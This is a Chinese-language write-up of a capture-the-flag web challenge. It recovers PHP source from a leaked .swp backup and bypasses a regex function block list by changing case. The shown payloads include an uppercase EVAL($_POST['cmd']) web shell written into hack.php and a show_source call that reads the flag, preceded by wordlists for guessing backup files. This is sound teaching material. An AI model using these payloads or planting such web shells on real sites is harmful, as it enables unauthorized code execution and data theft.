操作分析☕️
🍺首先是对网站进行文件目录扫描,最终就扫到robots.txt,提示了这个页面
1ndexx.php
也访问不了,啥也没有
🍺网站备份文件泄露常见名称
backup
db
data
web
wwwroot
database
code
test
admin
user
sql
🍺网站备份文件常见后缀
.bak
.html
_index.html
.swp
.rar
.txt
.zip
.7z
.sql
.tar.gz
.tgz
.tar
🍺只能考虑备份文件缓冲文件类了,提示1ndexx.php文件,与备份后缀逐个尝试,访问.1ndexx.php.swp
可得到源码
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!"); // fopen() 函数打开一个文件
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
// filesize()函数返回指定文件的大小
// fread() 函数读取打开的文件,函数会在到达指定长度或读到文件末尾,停止运行。
// 该函数返回读取的字符串,如果失败则返回 FALSE
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
// fwrite(file,string,length) file必需,规定要写入的打开文件;string必需,规定要写入文件的字符串;length可选,规定要写入的最大字节数。
fclose($file);
fclose($hack);
?>
🍺
1、传入参数code
2、进行正则匹配
3、对输入的参数长度进行限制
4、将输入的参数与flag
写入到hack.php
文件中
🍺代码分析,这里的正则过滤容易绕过,随便一个大写即可
我们先测试一波:先输入参数
?code=<?php phpinfo();?>
然后访问hack.php
,成功
🍺利用方式1:
大小写过滤,可以利用EVAL
绕过eval限制
?code=<?php EVAL($_POST['cmd']); ?>
🍺利用方式2:
这里没有禁用show_source
,利用show_source高亮代码,看代码可知flag.php
里的内容也会被写入到hack.php中,这样只需要高亮自己就可以看到flag了
?code=<?php show_source(__FILE__); ?>
🍺额外:show_source()是 highlight_file()
的别名,show_source() 函数对文件进行语法高亮显示,show_source(filename,return),如果 return 参数设置为 TRUE,该函数将以字符串形式
返回高亮显示的代码,而不是直接进行输出,否则,如果成功则返回 TRUE,如果失败则返回 FALSE